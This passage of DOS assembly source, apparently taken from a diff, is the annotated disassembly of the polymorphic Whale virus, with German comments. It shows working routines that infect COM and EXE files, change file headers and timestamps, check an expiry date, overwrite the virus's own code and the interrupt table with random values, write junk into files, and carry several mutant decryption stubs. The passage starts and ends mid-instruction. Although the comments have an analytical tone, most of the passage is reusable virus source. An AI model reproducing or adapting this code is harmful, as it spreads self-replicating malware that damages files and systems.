MOV BX,[SI+04h] + XOR BX,5348h ; "SH" + XOR BX,4649h ; "FI" + ADD AX,BX + POP BX + MCODE 45 + JNZ J035C3 ; nicht markierbar, keine Infektion + ;---------------------( Dateianfang manipulieren )--- + MDECODE 46 + MOV BX,[SI+01h] + MOV AX,[BX+SI+0DC4Bh] ; SIEHE 34af! + MOV [SI],AX + MOV AX,[BX+SI+0DC4Dh] + MOV [SI+02h],AX + MOV AX,[BX+SI+0DC4Fh] + MOV [SI+04h],AX + MCODE 46 + JMP SHORT J035C3 ; Terminate-Adresse festlegen + +;===================================================================== +;=====================================( Datei ist schon infiziert )=== +;===================================================================== +J0358E: MDECODE 47 ; ES:BX = EPB + MOV DX,WORD PTR DS:[001Ah] ; DS:SI = CS:IP der Datei + CALL GET_Current_PSP + + MOV CX,CS:[@PSP] + ADD CX,+10h + ADD DX,CX + MOV ES:[BX+14h],DX + + MOV AX,Word Ptr DS:[0018h] + MOV ES:[BX+12h],AX + + MOV AX,Word Ptr DS:[0012h] + ADD AX,CX + MOV ES:[BX+10h],AX + + MOV AX,Word Ptr DS:[0014h] + MOV ES:[BX+0Eh],AX + MCODE 47 +;===================================================================== +;==============================( Installation des INT 22-Handlers )=== +;===================================================================== +J035C3: MDECODE 48 + CALL GET_Current_PSP + MOV DS,CS:[@PSP] + MOV AX,[BP+02h] + MOV Word Ptr DS:[000Ah],AX ; OFFSET int 22-Handler + MOV AX,[BP+04h] + MOV Word Ptr DS:[000Ch],AX ; Segment int 22-Handler + MCODE 48 +J035E0: JMP J02EA3 ; Fertig +;===================================================================== +;====================================( kann ja fast nicht sein ...)=== +;===================================================================== +; erzeugt wird : +; DB 01h +; DW CS +; DW SS +; DW SP +;-------------------------------------------------------------------- +J035E3: MOV WORD PTR CS:[023Ah],CS ;2a4a + MOV WORD PTR CS:[023Ch],SS ;2a4c + MOV WORD PTR CS:[023Eh],SP ;2a4e + MOV BYTE PTR CS:[0239h],01h ;2a49 + PUSH DS + POP AX ; ist auch bloss Mll ! +;===================================================================== +;=================================( Kontrolle des Verfalls-Datums )=== +;===================================================================== +Check_Verfallsdatum: + MDECODE 49 + CALL PushALL + MOV AH,2Ah ; GET System Time & Date + CALL CS:[@INT21] ; + CMP CX,07C8h ; 1992 + JNB J0361A ; CX >= 1992 : Setze [Error],1 + CMP CX,07C7h ; 1991 + JNZ J03620 ; CX <> 1991 : Lasse [Error] + CMP DH,04h ; April + JB J03620 ; DH < APRIL : Lasse [Error] + ;----------------------------------------------------- +J0361A: MOV BYTE PTR CS:[Error],01h +J03620: CMP BYTE PTR CS:[Error],00h + JZ J0362F + CALL PopALL + POP AX + JMP J03632 + ;-------------- +J0362F: CALL PopALL +J03632: MCODE 49 + CMP BYTE PTR CS:[Error],00h + JZ J03641 + JMP J03761 ; Returnadresse bleibt auf Stack... +J03641: RETN +;===================================================================== +;==================================( "JMP Decode_Whale" schreiben )=== +;===================================================================== +J03642: MDECODE 50 + ;------------------------------------------------------- + MOV BYTE PTR CS:[0001h],0E9h ; JMP 23BC /4BCC + MOV BYTE PTR CS:[0002h],0B8h ; CS:0001=CS:2811 + MOV BYTE PTR CS:[0003h],023h + ;-------------------------------------------------- + CALL Trace_int_13h + + CALL J0378C ; errechnet unter anderem Paras fr File + ; SI = bentigte Paragrafen + ; CX = 10h + ; DX:AX = Filesize gerundet + ; auf nchsten Paragrafen + + MOV BYTE Ptr DS:[OFFSET EXE_FLAG-Offset VirStart],01h + CMP WORD Ptr DS:[CodBuf],'MZ' + MCODE 50 + JZ J0367E + DEC BYTE Ptr DS:[Offset Exe_Flag-Offset VirStart] + + JZ J036F9 ; Wenn EXE-FLAG "1" war, + ; also immer (!) +;===================================================================== +;=========================================( EXE-Header auswerten )=== +;=========================================( Infektion vorbereiten )=== +;=====================( die Berechnung scheint fehlerhaft zu sein )=== +;===================================================================== +J0367E: MDECODE 51 + MOV AX,WORD PTR DS:[CodBuf+4] ; Pages + SHL CX,1 ; CX = 20h + MUL CX ; AX ist ((Lnge-1) div 200h)*20h + ; Also jetzt : (Lnge-1) DIV 10H + ; AX enthlt die bentigte Anzahl + ; Paragrafen, um EXE zu laden. + ADD AX,0200h ; AX=AX+200h, gibt keinen Sinn + CMP AX,SI ; Vergleiche AX mit Max-Paras + MCODE 51 + JB J036F6 ; jmp, wenn AX kleiner ist + + MOV AX,WORD PTR DS:[CodBuf+0Ah] ; MinFree + OR AX,WORD PTR DS:[CodBuf+0Ch] ; MaxFree + JZ J036F6 + MDECODE 52 + MOV DX,Word ptr DS:[FileSize+2] + MOV CX,0200h + MOV AX,Word ptr DS:[FileSize ] + DIV CX ; AX = (DX:AX) / 512; -> Pages + OR DX,DX ; Blieb ein Rest ??? + MCODE 52 + JZ J036B8 ; ja.. + INC AX +J036B8: MOV WORD PTR DS:[CodBuf+2 ],DX ; Lnge LastPage + MOV WORD PTR DS:[CodBuf+4 ],AX ; Anzahl Pages + CMP WORD PTR DS:[CodBuf+14h],+01h ; IP-Init = 1? + JNZ J036CA ; ( Whale !) + JMP J03761 ; dann fertig ! +;-------------------------------------------------------------------- + DB 0E8h +;-------------------------------------------------------------------- +J036CA: CALL Check_Verfallsdatum + MDECODE 53 + MOV WORD PTR DS:[CodBuf+14h],0001h + ; IP-INIT = 0001h + MOV AX,SI ; MaxParas -> AX + SUB AX,WORD PTR DS:[CodBuf+8] ; AX=AX-Headerparas + MOV WORD PTR DS:[CodBuf+16h ],AX ; CS-INIT <-AX !!!! + ADD WORD PTR DS:[CodBuf+4 ],+12h ; 12 Pages dazu + ; (== Whale-Size ) + ;----------------------------------------------------------- + ; eine andere Art, ein Virus zu entdecken : + ; Wenn ein EXE wie ein COM initialisiert wird... + ;----------------------------------------------------------- + MOV WORD PTR DS:[CodBuf+010h],0FFFEh; SP-Init = COM-LIKE + MOV WORD PTR DS:[CodBuf+ 0Eh],AX ; SS-Init = CS-Init + MCODE 53 + CALL Infect_File +J036F6: JMP J03761 +;===================================================================== +;=======================================( Verfahren fr COM-Files )=== +;===================================================================== +J036F9: CMP SI,0F00h ; COM-Size > 61440 Byte ?!? + JNB J03761 ; Dann geht es eben nicht ... + + ;--------------( merken der ersten 6 Byte des COM )--- + MDECODE 54 + MOV AX,WORD PTR DS:[CodBuf ] ; whale: + MOV WORD PTR DS:[0004h],AX ; AX = 20CC + ADD DX,AX ; DX = 0, da COM + MOV AX,WORD PTR DS:[CodBuf+2] + MOV WORD PTR DS:[0006h],AX ; AX = 0 + ADD DX,AX ; DX = 20CC + MOV AX,WORD PTR DS:[CodBuf+4] ; AX = 0 + MOV WORD PTR DS:[0008h],AX + + XOR AX,5348h ; 'SH' !! ; AX = 5348 + XOR AX,4649h ; 'FI' !! ; AX = 1501 + + ADD DX,AX ; DX = 35CD + MCODE 54 + JZ J03761 ; DX = 0 -> Keine Infektion , + ; File kann nicht markiert werden. + + MOV AX,WORD PTR DS:[D24F2] ; Hole Fileattribut + AND AL,04h ; Ist es SYSTEM ? + JNZ J03761 ; jmp, wenn ja + CALL Check_Verfallsdatum + + MDECODE 55 + ;---------------------( JMP am COM-Start erzeugen )--- + MOV CL,0E9h + MOV AX,0010h + MOV BYTE PTR DS:[CodBuf],CL + MUL SI ; AX = COM-Lnge in Byte, + ; auf ganzen Paragrafen + ; gerundet + ADD AX,23B9h ; So weit also + 3 Byte + ; zum De-Cryptor + MOV WORD PTR DS:[CodBuf+1],AX; hier also "JMP J04BCC" + ;---------------------------------------------------- + ;-----------------( File als infiziert markieren )--- + ;---------------------------------------------------- + MOV AX,WORD PTR DS:[CodBuf ]; AX = C9E9 + ADD AX,WORD PTR DS:[CodBuf+2]; AX = C9E9+004A =CA33 + NEG AX ; AX = - AX = 35CD + + XOR AX,4649h ; 'FI' !! ; AX = 7384 + XOR AX,5348h ; 'SH' !! ; AX = 20CC (!!) + + MOV WORD PTR DS:[CodBuf+4],AX; Siehe Label "start" + MCODE 55 + CALL Infect_File +;--------------------------------------( Ende der Infektionsphase )--- +J03761: MDECODE 56 + + MOV AH,3Eh ; CLOSE FILE + CALL CS:[@INT21] + + MOV CX,CS:[D24F2] + MOV AX,4301h ; Change File-Attribut + MOV DX,CS:[D24F4] ; Offset Filename + MOV DS,CS:[D24F6] ; Segment Filename + + CALL CS:[@INT21] + CALL J048CD ; RESET Int 13h und Int 24h + MCODE 56 ; Alles ist so wie vorher... + RETN +;===================================================================== +;====================================( Vorbereitung fr Infektion )=== +;===================================================================== +J0378C: MDECODE 57 + PUSH CS + MOV AX,5700h ; Get File-date + POP DS + CALL CS:[@INT21] + + MOV WORD PTR DS:[FileTime],CX ; Uhrzeit + + MOV AX,4200h ; SEEK Fileanfang + MOV Word Ptr DS:[FileDate],DX + XOR CX,CX + XOR DX,DX + CALL CS:[@INT21] + + MOV AH,3Fh ; Read file + MOV DX,OFFSET CodBuf ; nach DS:DX + MOV CL,1Ch ; 1C byte ( EXE-Header ! ) + CALL CS:[@INT21] + + XOR CX,CX ; Weils so schoen war ... + MOV AX,4200h + XOR DX,DX + CALL CS:[@INT21] + + MOV CL,1Ch ; diesmal nach DS:0004 lesen + MOV AH,3Fh ; == CS:2814 + MOV DX,0004h + CALL CS:[@INT21] + + XOR CX,CX ; seek file-Ende + MOV AX,4202h + MOV DX,CX + CALL CS:[@INT21] + + MOV Word Ptr DS:[FileSize+2],DX ; FileSize merken + MOV Word Ptr DS:[FileSize ],AX + + MOV DI,AX ; BEISPIEL : AX=9273 -> DI=9273 + ADD AX,000Fh ; AX=9282 + ADC DX,+00h ; bertrag nach DX + AND AX,0FFF0h ; AX=9280 + SUB DI,AX ; DI=FFF3 + MOV CX,0010h ; CX=10 + DIV CX ; AX=928 = Anzahl Paras fr File + MOV SI,AX ; SI=928 + MCODE 57 + RETN +;===================================================================== +;=====================================================( Infektion )=== +;===================================================================== +Infect_File: MDECODE 58 +;***************************************** +JMP CODE_58 ;************************* e-i-n-g-e-f--g-t- +;***************************************** + + XOR CX,CX + MOV AX,4200h ; SEEK File-Anfang + MOV DX,CX ; CX=DX=0 + CALL CS:[@INT21] ; INT 21h + + MOV CL,1Ch ; 1C Byte + MOV AH,40h ; Write to File + + MOV DX,Offset CodBuf ; EXE-Header / COM-Start + CALL CS:[@INT21] ; INT 21h + + MOV AX,0010h + MUL SI ; AX = AX * maxparas + MOV CX,DX ; DX = Offset CodBuf + MOV DX,AX ; + MOV AX,4200h ; SEEK from start to CX:DX + CALL CS:[@INT21] ; INT 21h + + MOV CX,Offset CodBuf ; CX = CodBuf + XOR DX,DX ; DX = 0 + ADD CX,DI ; CX = Offset CodBuf+DI + + MOV AH,40h ; WRITE-FILE + + CALL Mutate_Whale ; Mutieren + + CALL @10_Prozent ; jedes 10. Mal Wal + ; zerstren + CALL Suche_Fish ; Jedes 4. Mal FISH.TBL + ; schreiben + + MOV BYTE Ptr DS:[InfectFlag],01h ; "habe infiziert" + MOV BYTE Ptr DS:[D2433],01h ; Verschlsseln, schreiben, + ; entschlsseln ! + + PUSH BX + PUSH ES + + PUSH CS + POP ES + + MOV Word Ptr DS:[D2579],SI + + MOV SI,OFFSET J0491A - Offset VirStart + ;----------------------------------------------------- + ;----------------------------( Wal-Code zerstren )--- + ;----------------------------------------------------- + MOV BYTE Ptr DS:[SwapCode_5],0CCh ; 3259 , 0e8h + MOV BYTE Ptr DS:[SwapCode_2],0C6h ; 3A20 , 0e9h + MOV BYTE Ptr DS:[SWAPCODE_6],0CCh ; 2cff , 0c3h + ;----------------------------------------------------- + CALL Kill_Int_Table ; nur eine einzige Infektion +Code_58: MCODE 58 ; pro Session ! +;===================================================================== +;============================================( Zerstren des Wals )=== +;===================================================================== + CALL PATCH ; gepatchten code + ; zerstren + MOV SI,SWAPCODE_4 + XOR WORD Ptr DS:[SI],0EF15h ; PATCH zerstren + ADD SI,+02h + XOR WORD Ptr DS:[SI],4568h ; ---""----------- + MOV BYTE Ptr DS:[SwapCode_1],03Dh + ; DECODE zerstren + ;=====( eigentliche infektion )======================= + ;=========================; + CALL Code_Whale ; Whale kodieren ; + ; aber NICHT Lauffhig !! ; + ;=========================; + + ;-------------------------( und rckgngig machen )--- + MOV Byte Ptr DS:[SwapCode_1],0E9h + XOR WORD Ptr DS:[SI],4568h + SUB SI,+02h + XOR WORD Ptr DS:[SI],0EF15h + ADD SI,SwapCode_3 ; SI = 210Ah + CALL PATCH + ;===================================================== + MDECODE 59 + MOV SI,[D2579] + POP ES + POP BX + CALL Write_Trash_To_File + + MOV CX,WORD PTR DS:[FileTime] + + MOV AX,5701h ; SET FILEDATUM ! + MOV DX,WORD PTR DS:[FileDate] + TEST CH,80h ; Stunde > 16 ? + JNZ J038C3 ; jmp, wenn nicht + OR BYTE PTR CS:[TrashFlag],00h + JNZ J038C3 ; TrashFlag = "1" :jmp + ADD CH,80h ; Stunde=Stunde-16 +J038C3: CALL CS:[@INT21] ; Set Filedatum +CODE_59: + MCODE 59 + RETN +;===================================================================== +;===========================( Den Whale-Code zerstren , bei der )=== +;===========================( Infektion jedes 10. COM-Files )=== +;===========================( Zweck : Geburtenkontrolle ! )=== +;===================================================================== +@10_Prozent: MDECODE 60 + CALL PushALL + MOV BYTE PTR CS:[TrashFlag],00h + OR BYTE Ptr CS:[Offset Exe_Flag-Offset VirStart],0 + JNZ J0390E ; Jmp, wenn EXE-File + + IN AL,40h + CMP AL,19h ; 90 % liegen ber 19h + JNB J0390E ; fertig, nichts weiter tun +;-------------------------------------( Wal zerstrt seinen Code )--- + INC BYTE PTR CS:[TrashFlag]; ist jetzt "1" + MOV BX,000Ah + MOV CX,0016h + +J038F4: IN AL,40h + MOV CS:[BX],AL ; 16h Byte von CS:281A..2830 + INC BX ; durch Zufallszahlen berschreiben + LOOP J038F4 + IN AL,40h + MOV BYTE PTR CS:[0001h],AL ; dito den JMP bei CS:2811 + IN AL,40h + MOV BYTE PTR CS:[0002h],AL + IN AL,40h + MOV BYTE PTR CS:[0003h],AL + +J0390E: CALL PopALL + MCODE 60 + RETN +;---------------------------------------------------- +J03916: DB 0E9H,09Dh,0F2H ;JMP J02BB6 => Nirwana +;-------------------------------------------------------------------- +;------------------------------------------------------( Hmmmmm ) --- +;-------------------------------------------------------------------- +J03919: ; JZ J03916 ; => Nirwana ! + MOV DX,DS ; DX <- DS + POP AX ; AX = 20h + ADD DX,+10h ; DX = DS:100 + MOV DS,DX ; DS = DX + MOV BX,[BX] ; BX:=0030:011C, DAS IST DER + NEG BX ; TASTATURPUFFER ( 40:1C) ! + ADD BX,CX ; es testet den Tastaturpuffer +;******************************************************************** + CMP BX,BX ;**** EINGEFGT ************* +;******************************************************************** + JNZ J03936 ; dann direkt in die Dekode-Routine + ; mit SI als Returnadresse + JZ J03990 ; sonst "decode" scharfmachen + ;-------------------------------------------------( trash )--- + DW 00A72h + DW 00B73H + DW 0FEE9H + DW 0E9F2h + DW 43H + ;------------------------------------------------------------- +J03936: JMP J02B87 ; = push si, jmp decode + +;--------------------------------------------------------------------- + DB 0e9h,06dh,0ah,0e9h,0a4h,0fch +;===================================================================== +;========================================( Schreibt Mll in Datei )=== +;===================================================================== +Write_Trash_To_File: + MDECODE 61 + CALL PushALL + OR BYTE PTR CS:[TrashFlag],00h + JZ J0396A ; falls "0" nichts tun + + XOR AX,AX + IN AL,40h + MOV DS,AX + + MOV DX,0400h ; DX = 400h + + IN AL,40h + XCHG AH,AL + IN AL,40h + MOV CX,AX + AND CH,0Fh ; CX = 0xxxh + MOV AH,40h ; WRITE File + + CALL CS:[@INT21] + +J0396A: CALL PopALL + MCODE 61 + RETN +;---------------------------------------------------------( trash )--- + DB 0b9h,01ch,000h,089H + DB 0d7h,0B3h,000h,0e8H +;========================================================()=========== +J0397A: MDECODE 62 + CALL SaveRegisters + MOV DI,DX + ADD DI,+0Dh + PUSH DS + POP ES + MCODE 62 + JMP J039EC ; ist die Datei ausfhrbar ? +;===================================================================== +;===========================================( Decode scharfmachen )=== +;===================================================================== +J03990: MOV BYTE PTR CS:[SI+SwapCode_1],0E9h; JMP erzeugen + JMP J03A1C + DB 0EAh +;===================================================================== +;======================================( zerstrt die INT-Tabelle )=== +;===================================================================== +Kill_Int_Table: + MDECODE 63 + CALL PushALL + MOV BX,23F1h ; 4C01 + MOV CX,000Eh ; CX = 0Eh + PUSH AX + MOV AX,0000h + MOV ES,AX ; ES = 0000 + POP AX + +J039AF: IN AX,40h ; Hole zufallszahl + MOV SI,AX + PUSH ES:[SI] ; zerstoere INT-Tabelle + POP [BX] ; durch 14 Zufalls-Werte ! + INC BX ; Die in [bx] gemerkt werden + LOOP J039AF + CALL PopALL + MCODE 63 + RETN +;===================================================================== +;===================================( check auf ausfhrbare Datei )=== +;===================================================================== +J039C3: MDECODE 64 + CALL SaveRegisters + PUSH DS + POP ES + MOV CX,0050h + MOV DI,DX + MOV BL,00h + XOR AX,AX + CMP BYTE Ptr DS:[DI+01h],':' ; Laufwerk im Filenamen ? + JNZ J039E1 + MOV BL,[DI] ; Ja, dann Buchstabe nach BL + AND BL,1Fh ; HEX-ZAHL drausmachen +J039E1: MOV CS:[D2428],BL ; und in die DRIVE-Variable + REPNZ SCASB ; ENDE des Filenamens suchen + MCODE 64 +;--------------------------------------------------------------------- +;---------------------------------( Erkennung der Datei-Extension )--- +;--------------------------------------------------------------------- +J039EC: MDECODE 65 + MOV AX,[DI-03h] ; ENDE - 3, ist EXTENSION + AND AX,0DFDFh ; Gross-Schrift + ADD AH,AL + MOV AL,[DI-04h] + AND AL,0DFh ; Gross-schrift + ADD AL,AH + MOV BYTE PTR CS:[EXE_FLAG],00h +;--------------------------------------------------------------------- +;------------( Angenommen, es war ein COM, dann gilt : )------------- +;------------( AND AX,0DFDF : AX = 4D4F / 'MO' )------------- +;------------( ADD AH,AL : AX = 9C4F )------------- +;------------( MOV AL,[Di-4]: AX = 9C43 / 'xC' )------------- +;------------( ADD AL,AH ; AX = 9CDF )------------- +;--------------------------------------------------------------------- +;------------( BEI EXE kommt AL=E2 heraus, bei COM AL=DF)------------- +;--------------------------------------------------------------------- + CMP AL,0DFh ; Also : IST ES EIN COM ? + MCODE 65 +J03A0C: JZ J03A17 + INC BYTE PTR CS:[EXE_FLAG] + CMP AL,0E2h ; Also : IST ES EIN EXE ? + JNZ J03A23 ; Weder COM noch EXE +J03A17: CALL GetRegsFromVirstack ; COM oder EXE + CLC ; Carry-Flag lschen + RETN +;===================================================================== +;====================================( JMP wird zeitweise erzeugt )=== +;====================================( Einziger JMP zum Relokator )=== +;===================================================================== +J03A1C: XOR AX,AX + PUSH ES + POP DS +J03A20: JMP Relokator +;===================================================================== +J03A23: CALL GetRegsFromVirstack ; Weder COM noch EXE +J03A26: STC ; Carry-Flag setzen + RETN + DB 2Dh +;===================================================================== +;===============================================( Get current PSP )=== +;===================================================================== +GET_Current_PSP:MDECODE 66 + PUSH BX + MOV AH,51h + CALL CS:[@INT21] + MOV CS:[@PSP],BX + POP BX + MCODE 66 + RETN +;===================================================================== +;==========================(--------------------------------------)=== +;==========================( HIER ENTSTEHEN DIE MUTANTEN ! )=== +;==========================(--------------------------------------)=== +;===================================================================== +Mutate_Whale: MDECODE 67 + CALL PushALL ; AH = 40h ! + OR BYTE PTR CS:[InfectFlag],00h ; Hab schon infiziert ! + JNZ J03A7C + + IN AL,40h ; Zufallszahl holen + CMP AL,80h ; nur jedes 2 Mal arbeiten + +J03A55: JB J03A7C + CALL Decode_3A84 ; Bereich 3A84h...436Ch + +J03A5A: IN AL,40h ; Zufallszahl holen + CMP AL,1Eh ; kleiner als 1eh / 30d + JNB J03A5A + + XOR AH,AH + MOV BX,M_SIZE + MUL BX ; Zufallszahl * 4Ch / 76d + ; AX : 0000....08E8 + ADD AX,Offset J03A84-Offset VirStart + ; AX : 1274....1B5C + + PUSH CS + PUSH CS + POP DS + POP ES ; ES=DS=CS + + ;====================== + MOV SI,AX ; Quelle : 1274....1B5C + ; bzw. 3A84....436C + ; in Stcken zu 4Ch !!! + ;====================== + MOV DI,Offset D4BB5-Offset VirStart + MOV CX,M_SIZE ; 4C Byte von CS:SI + ; nach CS:23A5/4BB5 + ; schaufeln + CLD + REPZ MOVSB + CALL Code_3A84 ; Bereich 3A84h...436Ch + +J03A7C: CALL PopALL + MCODE 67 + RETN + +;=================================( dieser Code steht immer davor )=== +;Code_Whale: PUSH CX +; PUSH BX +; MOV BX,FirstByte +; MOV CX,Code_len ; 2385h ; Wal-Size bis J04BB5 +;===================================================================== +; Die Nummerierung der Mutanten folgt dem TBSCAN.DAT-File +;===================================================================== +;=====================================================( MUTANT # 3)=== +;===================================================================== +MUT_3 EQU $ +J03A84: STD ; = OFFSET 4BB5 + MOV CX,DreiByte ; 0BD8h +J03A88: XOR WORD Ptr DS:[BX],1326h + ADD BX,+03h + LOOP J03A88 + + MOV CX,BX + POP CX + MOV BX,CX + POP CX + MOV AH,60h + JMP SHORT J03AB8 + ;--------( einsprung ) ---------( -1131 )------------ +J03A9B: PUSH SI ; = 4BCC, SI = 100h + CALL J03AA1 ; + + DW 6945h ; 4BD0 + +J03AA1: POP DX ; DX = 4BD0 + PUSH CS + SUB DX,23A0H ; DX = 2830 + + POP DS + MOV CX,DreiByte ; CX = 0BD8 + XCHG DX,SI ; DX = 100h, SI = 2830 +J03AAD: XOR WORD Ptr DS:[SI],1326h + ADD SI,+03h + LOOP J03AAD + JMP SHORT J03AC0 ; SI = 4BB8 + ;---------------------------------------------------- +J03AB8: SUB AH,20h ; => AH = 40, WRITE FILE + ;----------------( db-code )------------------------- + Call_int21 3,MUT_3 + ;---------------- + JMP J03A9B + ;---------------------------------------------------- +J03AC0: SUB SI,Offset D4BB5-4C40H ; SI = SI + 8Bh = 4C43h/D2433 + CMP BYTE Ptr DS:[SI],01h + JNZ J03ACB + POP SI ; originales SI vom Stack + RETN + +J03ACB: PUSH ES + POP DS + ;---------------- +J03ACD: JMP_entry 3,mut_3 + ;---------------- +;===================================================================== +;=====================================================( MUTANT #5 )=== +;===================================================================== +MUT_5 EQU $ +J03AD0: MOV CX,0BD7h ; CX = 0bd7 ; = OFFSET 4BB5 +J03AD3: XOR WORD Ptr DS:[BX],4096h ; also 11c3 mal, da BX um 3 + ; erhht wird + ADD BX,+03h + LOOP J03AD3 + MOV AX,ES + POP AX + MOV BX,AX + POP CX + MOV AH,50h + JMP SHORT J03B04 + +J03AE6: PUSH SI + ;--------( einsprung ) ------ +J03AE7: STD + CALL J03AED + PUSH CS + DEC DI +J03AED: POP DX ; DX = + PUSH CS + SUB DX,23A0h ; DX = + POP DS + MOV CX,0BD7h ; CX = + XCHG DX,SI ; SI = + +J03AF9: XOR WORD Ptr DS:[SI],4096h + ADD SI,+03h + LOOP J03AF9 + JMP SHORT J03B0C ; SI = + + +J03B04: SUB AH,10h ; AH = 40h ! + CALL_INT21 5,MUT_5 + JMP J03AE6 + +J03B0C: SUB SI,0FF72h ; SI = + CMP BYTE Ptr DS:[SI],01h + JNZ J03B17 + POP SI + RETN + +J03B17: PUSH ES + POP DS +J03B18: JMP_ENTRY 5,mut_5 +;===================================================================== +;===================================================( MUTANT # 20 )=== +;===================================================================== +MUT_20 EQU $ + CMC ; = OFFSET 4BB5 + CALL J03B61 ; CX = 11C3 +J03B20: XOR WORD Ptr DS:[BX],0406h + INC BX + ADD BX,+01h + CMC + LOOP J03B20 + POP BX + CMC + POP CX + CALL_INT21 20,MUT_20 + PUSH AX + POP AX + ;--------( einsprung ) ------ + CALL J03B5E ; DS <- 4BCF + + MOV BX,CS + PUSH BX + MOV BX,DS ; BX <- DS, BX = 4BCF ! + POP DS ; DS=CS + ADD BX,0DC61h ; BX = 2830 + CALL J03B61 ; CX = 11C3 + MOV DX,0002h ; DX = 2 +J03B46: XOR WORD Ptr DS:[BX],0406h + ADD BX,DX + LOOP J03B46 + ; BX = 4BB6 + ADD BX,008Dh ; BX = 4C43 / 2443 + PUSH [BX] ; [BX]=[2443] ???????? + POP CX ; CX = ? + DEC CL ; CX = ? + JZ J03B60 ; + PUSH ES + POP DS + CALL_ENTRY 20,mut_20 + +J03B5E: POP DS + PUSH DS +J03B60: RETN + +J03B61: MOV CX,1100h + OR CL,0C3h ; CX = 11C3 + RETN +;===================================================================== +;===================================================( MUTANT # 21 )=== +;===================================================================== +MUT_21 EQU $ + CALL J03BAE ; CX = 11C3 +J03B6B: XOR WORD Ptr DS:[BX],239Ah + ADD BX,+01h + CLC + INC BX + LOOP J03B6B + + POP BX + CLD + POP CX + CALL_INT21 21,MUT_21 + PUSH DX + INC DX + POP DX + ;--------( einsprung ) ------ + CALL J03BAB ; DS <- 4BCF + MOV BX,CS + PUSH BX + MOV BX,DS ; BX = 4BCF + POP DS ; DS = CS + ADD BX,0DC61h ; BX = 2830 + CALL J03BAE ; CX = 11C3 + MOV AX,0002h ; AX = 0002 + +J03B92: XOR WORD Ptr DS:[BX],239Ah + NOP + ADD BX,AX + LOOP J03B92 + + ADD BX,008Dh ; BX = 4BB6 + PUSH [BX] + POP BX + DEC BL ; CMP byte Ptr DS:[4C43],1 + JZ J03BAD + PUSH ES + POP DS + CALL_ENTRY 21,mut_21 + ;------------------- +J03BAB: POP DS + PUSH DS +J03BAD: RETN + +J03BAE: MOV CX,0C311h ; MOV CX,11C3 + XCHG CH,CL ; RET + RETN +;===================================================================== +;===================================================( MUTANT # 22 )=== +;===================================================================== +MUT_22 EQU $ + CALL J03BF9 ; CX = 11C3 +J03BB7: XOR WORD Ptr DS:[BX],0138h + ADD BX,+02h + LOOP J03BB7 + POP BX + CLC + POP CX + CALL_INT21 22,MUT_22 + JMP SHORT J03BCB + + DB 23h,87h,0ch + ;--------( einsprung ) ------ +J03BCB: CALL J03BF6 ; DS <- + + MOV BX,CS + PUSH DS ; DS = CS + MOV DS,BX + POP BX ; BX = + SUB BX,239Fh ; BX = + CALL J03BF9 ; CX = 11C3 + MOV AX,0002h ; AX = 0002 + +J03BDE: XOR WORD Ptr DS:[BX],0138h + ADD BX,AX + LOOP J03BDE + ADD BX,008Dh ; BX = + PUSH [BX] + POP BX + DEC BL ; + JZ J03BF8 + PUSH ES + POP DS + JMP_ENTRY 22,mut_22 + +J03BF6: POP DS + PUSH DS +J03BF8: RETN + +J03BF9: MOV CX,0C311h ; MOV CX,11C3 + XCHG CL,CH ; RET + RETN + + DB 0CCh +;===================================================================== +;===================================================( MUTANT # 23 )=== +;===================================================================== +MUT_23 EQU $ + XCHG CL,CH ; = OFFSET 4BB5 + XOR CX,94E0h ; CX=2385 -> 8523 -> 11c3 +J03C06: INC BX + ADD WORD Ptr DS:[BX],00FEh + INC BX + LOOP J03C06 + MOV AX,DX + POP DX + MOV BX,DX + POP CX + PUSH AX + JMP SHORT J03C42 + + ;--------( einsprung ) ------ +J03C17: CALL J03C1B +J03C1A: RETN + +J03C1B: MOV BX,0DC61h ; BX = + POP CX ; CX = + ADD BX,CX ; BX = + PUSH CS + MOV CX,11C4h ; CX = + POP DS ; DS = + DEC CL ; CX = 11C3 +J03C28: INC BX + SUB WORD Ptr DS:[BX],00FEh + INC BX + LOOP J03C28 + PUSH SI ; BX = + MOV SI,BX ; SI = + ADD SI,008Dh ; SI = + DEC BYTE Ptr DS:[SI] ; + POP SI + JZ J03C1A + PUSH ES + CLC + POP DS + JMP_ENTRY 23,mut_23 + +J03C42: POP DX + MOV AL,40h + XCHG AH,AL ; AH = 40h !!!!!!! +J03C47: + CALL_INT21 23,MUT_23 + JMP J03C17 +END_23: +;===================================================================== +;===================================================( MUTANT # 27 )=== +;===================================================================== +MUT_27 EQU $ + SUB CH,12h ; = OFFSET 4BB5 + ADD CL,3Eh ; cx=2385 -> 11c3 +J03C52: ADD [BX],CX + ADD BX,+04h + SUB BX,+02h + LOOP J03C52 + XCHG BP,BX + POP BP + XCHG BX,BP + JMP SHORT J03C8D + + ;--------( einsprung ) ------ +J03C63: CALL J03C67 +J03C66: RETN + +J03C67: POP CX + MOV BX,0DC61h + ADD BX,CX + PUSH CS + MOV CX,10C3h + POP DS + INC CH +J03C74: SUB [BX],CX + INC BX + STC + INC BX + LOOP J03C74 + MOV BP,BX + ADD BP,008Dh + DEC BYTE PTR [BP+00h] + POP BP + JZ J03C66 + PUSH ES + POP DS + JMP_ENTRY 27,mut_27 + +J03C8D: POP CX + PUSH BP + MOV BP,2567h + INC BP + +J03C93: + + CALL DS:BP + JMP J03C63 +;===================================================================== +;===================================================( MUTANT # 24 )=== +;===================================================================== +Mut_24 EQU $ + ADD CX,0EE3Eh ; = OFFSET 4BB5 + JMP SHORT J03CA7 + db 43h +J03C9F: NEG WORD Ptr DS:[BX] + ADD BX,+02h + LOOP J03C9F +J03CA6: RETN + +J03CA7: CALL J03C9F + CALL J03CCE + + DB 0EAH + DB 12H + + ;--------( einsprung ) ------ +J03CAF: PUSH AX + CALL J03CDD + ADD DX,0DC60h + MOV CH,11h + MOV CL,0C3h + XCHG BX,CX + CALL J03C9F + TEST BYTE Ptr DS:[D2433],0FEh + JZ J03CA6 + MOV CX,ES + MOV DS,CX + CALL_ENTRY 24,mut_24 + ;------------------- +J03CCE: POP CX + POP AX + XCHG AX,BX + POP AX + XCHG AX,CX + MOV AH,3Fh + INC AH + CALL_INT21 24,mut_24 + POP AX + JMP J03CAF + +J03CDD: MOV BX,CS +J03CDF: MOV DS,BX + POP DX + PUSH DX + RETN +;===================================================================== +;====================================================( MUTANT # 28)=== +;===================================================================== +mut_28 EQU $ + XOR CX,3246h ; = OFFSET 4BB5 + JMP SHORT J03CF3 + +J03CEA: XOR [BX],CX + ADD BX,+03h + DEC BX + LOOP J03CEA +J03CF2: RETN + +J03CF3: CALL J03CEA + CALL J03D18 +J03CF9: XCHG BL,BH + ;--------( einsprung ) ------ + CALL J03D29 + XCHG 